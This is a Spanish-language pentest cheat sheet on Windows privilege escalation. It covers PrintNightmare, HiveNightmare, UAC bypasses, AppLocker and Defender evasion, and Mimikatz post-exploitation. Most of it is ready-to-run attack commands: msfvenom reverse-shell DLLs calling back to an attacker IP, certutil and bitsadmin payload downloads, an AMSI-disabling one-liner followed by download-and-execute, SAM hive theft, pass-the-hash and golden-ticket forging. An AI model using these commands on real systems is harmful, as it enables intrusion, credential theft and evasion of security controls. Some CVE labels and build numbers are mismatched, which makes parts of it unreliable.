Exploits de Kernel, Vulnerabilidades y Protecciones
Búsqueda de Vulnerabilidades de Kernel
WES-NG (Windows Exploit Suggester - Next Generation)
Se ejecuta en tu máquina Kali, NO en el objetivo (más sigiloso).
Instalación en Kali:
git clone https://github.com/bitsadmin/wesng.git
cd wesng
python3 wes.py --update
# La base de datos se actualiza regularmenteEn el objetivo - Recopilar información:
systeminfo > sysinfo.txtTransferir a Kali:
scp usuario@objetivo:sysinfo.txt .Analizar en Kali:
python3 wes.py sysinfo.txt
# Resultado:
# CVE-2023-29360 - PrintNightmare (Local Privilege Escalation)
# CVE-2020-0668 - UAC Bypass
# CVE-2021-1732 - Win32k Elevation
# ... más CVEsPrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Vulnerabilidad en Windows Print Spooler
El print spooler corre como SYSTEM. PrintNightmare permite escalada local de privilegios mediante una vulnerabilidad en la función de gestión de drivers de impresoras.
Verificar Versión Afectada
systeminfo | findstr /i "build"
# Afectados (sin KB5004945):
# Windows 10 Build < 19042.1110
# Windows 11 Build < 22000
# Server 2016, 2019, 2022 no parchadosVerificar si Print Spooler Corre
Get-Service spooler
# Si State = Running → Potencialmente vulnerable
# Si State = Stopped → No es explotableExplotación - Opción 1: PoC Compilado
# Descargar
iwr -uri http://192.168.1.100/PrintNightmare.exe -OutFile PrintNightmare.exe
# Ejecutar
.\PrintNightmare.exe 192.168.1.100 \\192.168.1.100\share malicious.dllExplotación - Opción 2: MSFVenom + Metasploit
# En Kali - Generar payload DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o shell.dll
# Configurar handler
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
# En objetivo
.\PrintNightmare.exe 192.168.1.100 \\192.168.1.100\share shell.dllExplotación - Opción 3: PowerShell PoC
# Descargar
iwr -uri http://192.168.1.100/PrintNightmare.ps1 -OutFile PrintNightmare.ps1
powershell -ep bypass
. .\PrintNightmare.ps1
# Ejecutar
Invoke-PrintNightmare -ComputerName localhost -DriverPath \\192.168.1.100\share\malicious.dllHiveNightmare (CVE-2021-36934)
Vulnerabilidad en permisos de archivos del registro
Permite leer archivos del registro (SAM, SYSTEM, SECURITY) que normalmente están protegidos. No requiere privilegios especiales.
Verificar Versión Afectada
systeminfo | findstr build
# Afectados:
# Windows 10 Build < 19042.1052
# Windows 11 Build < 22000Explotación Paso a Paso
1. Buscar directorio System Volume Information
# El registro backup está aquí (oculto)
Get-ChildItem -Path "C:\System Volume Information\RegBack\" -Force
# Deberías ver: SAM, SYSTEM, SECURITY, DEFAULT2. Copiar archivos protegidos
Copy-Item -Path "C:\System Volume Information\RegBack\SAM" -Destination "C:\temp\SAM" -Force
Copy-Item -Path "C:\System Volume Information\RegBack\SYSTEM" -Destination "C:\temp\SYSTEM" -Force
Copy-Item -Path "C:\System Volume Information\RegBack\SECURITY" -Destination "C:\temp\SECURITY" -Force3. Transferir a Kali
scp usuario@objetivo:C:\temp\SAM .
scp usuario@objetivo:C:\temp\SYSTEM .4. Extraer hashes NTLM
python3 -m impacket.secretsdump -sam SAM -system SYSTEM LOCAL
# Resultado:
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::5. Pass-the-Hash para acceso remoto
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100
# Conectado como Administrator con acceso totalCVE-2020-0668 - UAC Bypass sin Privilegios
Permite ejecutar comandos como admin sin solicitar permiso de UAC
Verificar Versión Afectada
systeminfo | findstr build
# Afectados:
# Windows 10 Build < 19041
# Windows Server 2019 no parchadoExplotación - Método: SystemPropertiesAdvanced.exe
SystemPropertiesAdvanced.exe es un binario de Windows que puede ejecutarse con UAC elevado automáticamente.
1. Crear script malicioso
# O crear ejecutable que hagas lo que quieras
# Guardarlo como: C:\Windows\System32\srrstr.dll o similar2. Usar herramienta precompilada
# Descargar
iwr -uri http://192.168.1.100/UAC_Bypass_CVE-2020-0668.exe -OutFile uac_bypass.exe
# Ejecutar
.\uac_bypass.exe "whoami"
# Ejecuta como admin sin solicitar UACExplotación - Método: DLL Hijacking via SystemPropertiesAdvanced
1. Generar DLL maliciosa
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=8443 -f dll > srrstr.dll2. Descargar al objetivo
iwr -uri http://192.168.1.100/srrstr.dll -OutFile "C:\Users\usuario\AppData\Local\Microsoft\WindowsApps\srrstr.dll"3. Listener
nc -lvp 84434. Ejecutar SystemPropertiesAdvanced
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
# La DLL se carga como admin automáticamente5. Recibir shell como admin
nc -lvp 8443
Listening on 0.0.0.0 8443
Connection received from 192.168.1.100 50273
C:\Windows\system32>whoami
dominio\usuario (con permisos de admin)CVE-2023-29360 - Windows Print Spooler RCE
Variante más reciente de PrintNightmare.
# En Kali
git clone https://github.com/avinashkrg/CVE-2023-29360.git
cd CVE-2023-29360
make
# En objetivo
.\CVE-2023-29360.exe
# Debería dar acceso a SYSTEMBúsqueda de Otros Exploits de Kernel
SearchSploit (Exploit-DB)
# En Kali
searchsploit "Windows 11" kernel
searchsploit "Windows 10" privilege escalation
searchsploit "CVE-2023"
# Descargar por ID
searchsploit -m 50123
# O en línea
https://www.exploit-db.com/?type=remote&action=search&q=Windows%20KernelCompilar Exploits Genéricos
Si encuentras un CVE sin PoC compilado:
# Crear payload ejecutable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
# O DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll
# O shellcode C
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c > shellcode.cUAC (User Account Control) - Bypasses
Verificar Estado de UAC
# Ver si está habilitado
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v EnableLUA
# 0 = Deshabilitado (no hay protección)
# 1 = Habilitado (protección activa)
# Ver nivel de prompts
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v ConsentPromptBehaviorAdmin
# 0 = No preguntar (escalado automático)
# 2 = Preguntar credenciales
# 5 = Preguntar consentimiento (default)UAC Bypass - Usando Tareas Programadas
Las tareas programadas pueden ejecutarse como SYSTEM sin UAC.
# 1. Crear acción de tarea
$Action = New-ScheduledTaskAction -Execute "C:\temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -User "NT AUTHORITY\SYSTEM"
# 2. Registrar tarea
Register-ScheduledTask -TaskName "WindowsUpdate" -InputObject $Task
# 3. Ejecutar inmediatamente
Start-ScheduledTask -TaskName "WindowsUpdate"
# Tu payload se ejecuta como SYSTEM sin UACUAC Bypass - Usando FODHelper (Features On Demand Helper)
FODHelper busca valores en registro ejecutables sin solicitar UAC.
# 1. Crear clave del registro que apunte a nuestro ejecutable
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d ""
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\temp\payload.exe"
# 2. Ejecutar FODHelper (se ejecuta sin UAC)
.\fodhelper.exe
# 3. Limpiar después
reg delete "HKCU\Software\Classes\ms-settings" /fUAC Bypass - Usando SilentCleanup
Otro método alternativo basado en binarios confiables de Windows.
AppLocker - Restricciones de Ejecución
Verificar Estado
Get-AppLockerPolicy -Effective
Get-AppLockerPolicy -Effective -RuleType Executable
Test-AppLockerPolicy -Path "C:\Windows\System32\cmd.exe" -User EveryoneBypass - Directorios sin Restricción
# AppLocker típicamente permite C:\Windows\System32
copy payload.exe "C:\Windows\System32\payload.exe"
C:\Windows\System32\payload.exeBypass - Usar LOLBINS (Binarios Legítimos de Windows)
Windows incluye muchas herramientas que pueden ejecutar código:
# CertUtil - descargar archivos
certutil.exe -urlcache -split -f "http://192.168.1.100/payload.exe" payload.exe
# BITSAdmin - transferir archivos
bitsadmin /transfer job /download /priority high "http://192.168.1.100/payload.exe" C:\temp\payload.exe
# HH.exe (Help and Support) - ejecutar scripts CHM
hh.exe http://192.168.1.100/payload.chm
# Regsvcs - ejecutar .NET
regsvcs.exe payload.dll
# InstallUtil - ejecutar .NET
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe payload.dll
# PSByPassCLM (bypass Constrained Language Mode)
powershell -Version 2 -NoProfile -Command "whoami"Windows Defender - Antivirus Evasion
Verificar Estado
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, BehaviorMonitorEnabled
Get-MpComputerStatus | Select-Object AntivirusEnabled, AntispywareEnabledTécnicas de Evasión
1. Guardar en zona permitida
# Directorios con exclusiones típicas
C:\ProgramData\
C:\Program Files\2. PowerShell sin Write-Host
$url = "http://192.168.1.100/payload.exe"
$output = "payload.exe"
(New-Object System.Net.WebClient).DownloadFile($url, $output)
& $output3. Ofuscación de código
# En Kali - codificar comando
python3 -c "import base64; print(base64.b64encode(b'whoami').decode())"
# d2hvYW1p
# En PowerShell
powershell -EncodedCommand d2hvYW1p4. AMSI Bypass (Antimalware Scan Interface)
AMSI analiza scripts en tiempo de ejecución.
# Desabilitar AMSI temporalmente
[Ref].Assembly.GetType('System.Management.Automation.Amsi').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Ahora ejecutar script bloqueado
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/script.ps1')Windows Defender Exploit Guard
Verificar Estado
Get-MpComputerStatus | Select-Object IsVirtualizationBasedSecuritySupported, VirtualizationBasedSecurityStatus
Get-MpComputerStatus | Select-Object DeviceGuardSecurityServicesRunningSecure Boot y UEFI
Verificar
Confirm-SecureBootUEFIPost-Explotación Completa con Mimikatz
Una vez que tienes acceso como admin o SYSTEM.
Descarga:
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd mimikatz/x64Comandos principales:
.\mimikatz.exe
# Obtener privilegios de debug
privilege::debug
# Extraer TODAS las credenciales en memoria
sekurlsa::logonpasswords
# Volcado de SAM
token::elevate
lsadump::sam
# Kerberos tickets (movimiento lateral en dominio)
sekurlsa::tickets
# Pass-the-Hash
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe
# Golden Ticket (falsificar ticket de admin en dominio)
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt
# Pass-the-Ticket
kerberos::ptt <ticket_file>
# Extraer credenciales guardadas
vault::cred /patchResumen de Escalada - Flujo Completo
1. ENUMERACIÓN
├─ whoami, systeminfo, Get-MpComputerStatus
├─ Buscar privilegios especiales
└─ WES-NG para CVEs
2. BÚSQUEDA DE CREDENCIALES
├─ PowerShell history
├─ Unattend.xml
├─ Archivos de configuración
└─ Aplicaciones que guardan credenciales
3. SERVICIOS VULNERABLES
├─ Binarios con permisos débiles
├─ Rutas sin comillas
├─ DACL débil
└─ DLL hijacking
4. TAREAS PROGRAMADAS
├─ Identificar tareas
└─ Reemplazar binario
5. PRIVILEGIOS ESPECIALES
├─ SeBackupPrivilege → SAM
├─ SeImpersonatePrivilege → JuicyPotato
└─ SeTakeOwnershipPrivilege → Reemplazar binarios
6. EXPLOITS DE KERNEL
├─ WES-NG identifica CVEs
├─ PrintNightmare
├─ HiveNightmare
└─ UAC Bypass
7. POST-EXPLOTACIÓN
├─ Mimikatz para extraer hashes
├─ Pass-the-Hash
└─ Kerberos tickets